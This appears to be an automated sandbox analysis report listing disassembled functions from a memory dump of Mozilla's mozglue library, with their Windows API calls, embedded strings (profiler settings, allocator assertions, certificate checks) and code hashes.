Function 6C4F3060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C4F3095

Part of subcall function 6C4F35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C57F688,00001000), ref: 6C4F35D5
Part of subcall function 6C4F35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C4F35E0
Part of subcall function 6C4F35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C4F35FD
Part of subcall function 6C4F35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C4F363F
Part of subcall function 6C4F35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C4F369F
Part of subcall function 6C4F35A0: __aulldiv.LIBCMT ref: 6C4F36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4F309F

Part of subcall function 6C515B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5156EE,?,00000001), ref: 6C515B85
Part of subcall function 6C515B50: EnterCriticalSection.KERNEL32(6C57F688,?,?,?,6C5156EE,?,00000001), ref: 6C515B90
Part of subcall function 6C515B50: LeaveCriticalSection.KERNEL32(6C57F688,?,?,?,6C5156EE,?,00000001), ref: 6C515BD8
Part of subcall function 6C515B50: GetTickCount64.KERNEL32 ref: 6C515BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C4F30BE

Part of subcall function 6C4F30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C4F3127
Part of subcall function 6C4F30F0: __aulldiv.LIBCMT ref: 6C4F3140

Part of subcall function 6C52AB2A: __onexit.LIBCMT ref: 6C52AB30

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: b3a13a77dad8aea3d7b961d8e82e561b812d68689f1623315904f6e2bf5ea5ce
Instruction ID: ef36419f1e7cc014d1f43c2185df451b67704499e1b8c6bbb67e4be1711fb4a9
Opcode Fuzzy Hash: b3a13a77dad8aea3d7b961d8e82e561b812d68689f1623315904f6e2bf5ea5ce
Instruction Fuzzy Hash: E2F0F922D2075496CB12EF348C416E673B0AFAB114F52531AE85553561FB3066D883EA

Non-executed Functions

Function 6C505440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C505492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5054A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5054BE
__Init_thread_footer.LIBCMT ref: 6C5054DB

Part of subcall function 6C52AB3F: EnterCriticalSection.KERNEL32(6C57E370,?,?,6C4F3527,6C57F6CC,?,?,?,?,?,?,?,?,6C4F3284), ref: 6C52AB49
Part of subcall function 6C52AB3F: LeaveCriticalSection.KERNEL32(6C57E370,?,6C4F3527,6C57F6CC,?,?,?,?,?,?,?,?,6C4F3284,?,?,6C5156F6), ref: 6C52AB7C

Part of subcall function 6C52CBE8: GetCurrentProcess.KERNEL32(?,6C4F31A7), ref: 6C52CBF1
Part of subcall function 6C52CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4F31A7), ref: 6C52CBFA

GetCurrentThreadId.KERNEL32 ref: 6C5054F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C505516
GetCurrentThreadId.KERNEL32 ref: 6C50556A
AcquireSRWLockExclusive.KERNEL32(6C57F4B8), ref: 6C505577
moz_xmalloc.MOZGLUE(00000070), ref: 6C505585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C505590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C5055E6
ReleaseSRWLockExclusive.KERNEL32(6C57F4B8), ref: 6C505606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C505616

Part of subcall function 6C52AB89: EnterCriticalSection.KERNEL32(6C57E370,?,?,?,6C4F34DE,6C57F6CC,?,?,?,?,?,?,?,6C4F3284), ref: 6C52AB94
Part of subcall function 6C52AB89: LeaveCriticalSection.KERNEL32(6C57E370,?,6C4F34DE,6C57F6CC,?,?,?,?,?,?,?,6C4F3284,?,?,6C5156F6), ref: 6C52ABD1

GetCurrentThreadId.KERNEL32 ref: 6C50563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C505646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C50567C
free.MOZGLUE(?), ref: 6C5056AE

Part of subcall function 6C515E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C515EDB
Part of subcall function 6C515E90: memset.VCRUNTIME140(ewUl,000000E5,?), ref: 6C515F27
Part of subcall function 6C515E90: LeaveCriticalSection.KERNEL32(?), ref: 6C515FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C5056E8
GetCurrentThreadId.KERNEL32 ref: 6C505707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C50570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C505729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C50574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C50576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C505796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C5057B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C5057CA

Strings

- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C505D1C
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C505D01
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C5057C5
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C5056E3
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5054B9
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C505791
MOZ_PROFILER_STARTUP, xrefs: 6C5055E1
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C505749
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C505AC9
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C505D2B
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C505CF9
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5054A3
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C505717
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C505BBE
GeckoMain, xrefs: 6C505554, 6C5055D5
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C5057AE
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C505724
MOZ_BASE_PROFILER_HELP, xrefs: 6C505511
[I %d/%d] profiler_init, xrefs: 6C50564E
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C505D24
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C505C56
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C50584E
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C505766
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C50548D
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C505B38

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: a1f54beee12ca8d8fc5be5c85fe10b6c65330c285912079f836b29a8bde8febd
Instruction ID: faed2c0ba79d04f3ab2b3db11391b80c1534ea3e1f9eebc77697c692c46108a6
Opcode Fuzzy Hash: a1f54beee12ca8d8fc5be5c85fe10b6c65330c285912079f836b29a8bde8febd
Instruction Fuzzy Hash: D42218B1A043109FDB01AF748C5875A77F5BF86348F95092AE94AC7B41EB30D884CB6B

Function 6C53B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C53B845
AcquireSRWLockExclusive.KERNEL32(6C57F4B8,?,?,00000000), ref: 6C53B852
ReleaseSRWLockExclusive.KERNEL32(6C57F4B8), ref: 6C53B884
InitializeConditionVariable.KERNEL32(?), ref: 6C53B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C53B9FD
GetCurrentThreadId.KERNEL32 ref: 6C53BA05
AcquireSRWLockExclusive.KERNEL32(6C57F4B8,?,?,00000000), ref: 6C53BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C53BA27
ReleaseSRWLockExclusive.KERNEL32(6C57F4B8), ref: 6C53BA4B
free.MOZGLUE(?), ref: 6C53C9C7
free.MOZGLUE(?), ref: 6C53C9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C53C878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C53C7DA

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 12920bce3fb4bf075570fa7597a3290a5c6fa55ea3f862ad6da8093f90ca550d
Instruction ID: 055070e041b7db0958afc31943945236678e9bc7d1a36455287fdf242ae37450
Opcode Fuzzy Hash: 12920bce3fb4bf075570fa7597a3290a5c6fa55ea3f862ad6da8093f90ca550d
Instruction Fuzzy Hash: 53A2BE71A083908FD721DF28C88079BB7E6BFC9314F154A2DE89D97750EB70A945CB92

Function 6C506C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C506CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C506D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C506D26

Part of subcall function 6C50CA10: malloc.MOZGLUE(?), ref: 6C50CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C506D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C506D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C506D73
free.MOZGLUE(00000000), ref: 6C506D80
CertGetNameStringW.CRYPT32 ref: 6C506DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C506DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C506DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C506DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C506E10
CryptMsgClose.CRYPT32(00000000), ref: 6C506E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C506E34
CreateFileW.KERNEL32 ref: 6C506EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C506F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C506F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C50709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C507103
free.MOZGLUE(00000000), ref: 6C507153
CloseHandle.KERNEL32(?), ref: 6C507176
__Init_thread_footer.LIBCMT ref: 6C507209
__Init_thread_footer.LIBCMT ref: 6C50723A
__Init_thread_footer.LIBCMT ref: 6C50726B
__Init_thread_footer.LIBCMT ref: 6C50729C
__Init_thread_footer.LIBCMT ref: 6C5072DC
__Init_thread_footer.LIBCMT ref: 6C50730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C5073C2
VerSetConditionMask.NTDLL ref: 6C5073F3
VerSetConditionMask.NTDLL ref: 6C5073FF
VerSetConditionMask.NTDLL ref: 6C507406
VerSetConditionMask.NTDLL ref: 6C50740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C50741A
moz_xmalloc.MOZGLUE(?), ref: 6C50755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C507568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C507585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C507598
free.MOZGLUE(00000000), ref: 6C5075AC

Part of subcall function 6C52AB89: EnterCriticalSection.KERNEL32(6C57E370,?,?,?,6C4F34DE,6C57F6CC,?,?,?,?,?,?,?,6C4F3284), ref: 6C52AB94
Part of subcall function 6C52AB89: LeaveCriticalSection.KERNEL32(6C57E370,?,6C4F34DE,6C57F6CC,?,?,?,?,?,?,?,6C4F3284,?,?,6C5156F6), ref: 6C52ABD1

Strings

SHA256, xrefs: 6C506EC0
wintrust.dll, xrefs: 6C5072CD
(, xrefs: 6C50768A
CryptCATAdminReleaseCatalogContext, xrefs: 6C5072C8

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 44e7db0624f7f3e8ab0395b0b94e5e43150fb325b5b17e5619a743ce419c5993
Instruction ID: 910c68d377b4bcaaf32d23e2482cb7108fef9ad898b3ea4b2da21fa961ed3530
Opcode Fuzzy Hash: 44e7db0624f7f3e8ab0395b0b94e5e43150fb325b5b17e5619a743ce419c5993
Instruction Fuzzy Hash: EA52B5B1A00325DFEB22DF24CC88BAA77B8EB85704F154599E909D7640DB70AEC4CF65

Function 6C526FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C57E7DC), ref: 6C527019
LeaveCriticalSection.KERNEL32(6C57E7DC), ref: 6C527061
EnterCriticalSection.KERNEL32(?), ref: 6C5271A4
LeaveCriticalSection.KERNEL32(?), ref: 6C52721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C52723E
EnterCriticalSection.KERNEL32(?), ref: 6C52726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C5272B2
LeaveCriticalSection.KERNEL32(?), ref: 6C52733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C5273E8
LeaveCriticalSection.KERNEL32(?), ref: 6C52961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C529622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C529642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C52964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5296CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5296DB
AcquireSRWLockExclusive.KERNEL32(6C57E804), ref: 6C529747
GetSystemInfo.KERNEL32(?), ref: 6C529792
__Init_thread_footer.LIBCMT ref: 6C5297A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C57E810,00000040), ref: 6C5297CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C57E7B8,00001388), ref: 6C529838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C57E744,00001388), ref: 6C52984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C57E784,00001388), ref: 6C529874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C57E7DC,00001388), ref: 6C529895

Strings

<jemalloc>, xrefs: 6C529B33, 6C529BE3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5299A8
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C529993
MOZ_CRASH(), xrefs: 6C529B42
: (malloc) Unsupported character in malloc options: ', xrefs: 6C529BF4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5299BD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5299D2
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C529933, 6C529A33, 6C529A4E
MALLOC_OPTIONS, xrefs: 6C5297CA
Compile-time page size does not divide the runtime one., xrefs: 6C529B38

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: a7a0c36967a270d6dee5a9ca8ba442894dc3b61b4e1b6d33626049d15faf9dc0
Instruction ID: 0955ff6a7ec575d7fb25a6c6bc98094777b755341ea6e1dd7004d592220f97c9
Opcode Fuzzy Hash: a7a0c36967a270d6dee5a9ca8ba442894dc3b61b4e1b6d33626049d15faf9dc0
Instruction Fuzzy Hash: 67536C72A057018FD714CF28C980615BBE1FF8A328F29C66DE8699B7D1D779E841CB81

Function 6C530DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C530F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C530F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C530FB7
EnterCriticalSection.KERNEL32(?), ref: 6C530FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C531031
LeaveCriticalSection.KERNEL32(?), ref: 6C5310D0
EnterCriticalSection.KERNEL32(?), ref: 6C53117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C531C39
EnterCriticalSection.KERNEL32(6C57E744), ref: 6C533391
LeaveCriticalSection.KERNEL32(6C57E744), ref: 6C5333CD
LeaveCriticalSection.KERNEL32(?), ref: 6C533431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C533437

Strings

<jemalloc>, xrefs: 6C533941, 6C5339F1
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5337A8
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C533793
MOZ_CRASH(), xrefs: 6C533950
: (malloc) Unsupported character in malloc options: ', xrefs: 6C533A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5337BD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5337D2
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C533559, 6C53382D, 6C533848
MALLOC_OPTIONS, xrefs: 6C5335FE
Compile-time page size does not divide the runtime one., xrefs: 6C533946

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 2aafc4fb270a0eeda2ffa1a21c4ea9e8736cd5ca8ce1d5a70c72fd061b1f84ee
Instruction ID: 03d7dfae72a07c1f4737df7775ff2c6a2e1577db10c9da5b2c7d31df6bd29390
Opcode Fuzzy Hash: 2aafc4fb270a0eeda2ffa1a21c4ea9e8736cd5ca8ce1d5a70c72fd061b1f84ee
Instruction Fuzzy Hash: 28539F71A057218FD704CF29C940616FBE1BF85328F29C66DE86D9B792E771E842CB81

Function 6C5555F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C52E1A5), ref: 6C555606
LoadLibraryW.KERNEL32(gdi32,?,6C52E1A5), ref: 6C55560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C555633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C55563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C55566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C55567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C555696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C5556B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C5556CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C5556E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C5556FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C555716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C55572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C555748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C555761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C55577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C555793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C5557A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C5557BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C5557D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C5557EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C5557FF

Strings

EnableNonClientDpiScaling, xrefs: 6C555666
ShowWindow, xrefs: 6C5556DE
LoadIconW, xrefs: 6C55575B
RegisterClassW, xrefs: 6C5556AC
DeleteObject, xrefs: 6C5557F9
